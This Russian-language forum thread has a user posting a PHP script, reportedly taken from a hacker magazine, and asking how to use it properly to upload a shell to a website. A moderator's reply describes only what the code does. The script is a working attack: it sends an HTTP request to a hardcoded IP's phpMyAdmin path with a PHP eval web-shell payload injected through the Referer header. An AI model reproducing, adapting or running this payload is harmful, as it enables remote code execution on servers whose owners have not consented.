PHP скрипт (Скрипт на PHP)

Модератор: Модераторы разделов

Аватара пользователя
netelis
Сообщения: 95
ОС: Debian Wheezy i686

PHP скрипт

Сообщение netelis »

Обьясните потрочно что и как делает данный скрипт

Код: Выделить всё

<?php
$server = '212.111.193.189';
$dir = '/phpMyAdmin/';
$evilcode = '<?php eval($_REQUEST[ev]); ?>';

$header = "GET " .$dir. " HTTP/1.0\r\n";
$header .= "Host: " .$server. "\r\n";
$header .= "Referer: " .$evilcode. "\r\n";
$header .= "Connection: close\r\n\r\n";

$fp = fsockopen($server, 80);
if(!$fp) { die("[ X ] Connection failed");} else { echo "[ ~ ] Connection successful \r\n";}
if(fputs($fp,$header)) {echo "[ ~ ] Data sended! \r\n";} else { die("[ X ] Error While sending headers!"); }
$result = fgets($fp, 128);
if(strpos($result,'Forbidden')) echo "[ ~ ] Successful! \r\n"; else die("[ X ] Failed!");

?>

Говорят для подделки Referera. Как его грамотно юзать?
Скрипт взят с журнала ХАКЕР #134, ФЕВРАЛЬ 2010 г. И он используется для заливки шела на сайт.
Спасибо сказали:
Аватара пользователя
serzh-z
Бывший модератор
Сообщения: 8259
Статус: Маньяк
ОС: Arch, Fedora, Ubuntu

Re: PHP скрипт

Сообщение serzh-z »

Открывает TCP-соединение с сервером на 80-ом порту и шлёт ему HTTP-запрос. После чего анализирует отданную HTML-страницу (видимо автор скрипта не знал про коды HTTP) и печатает результат выполнения операции.
Спасибо сказали: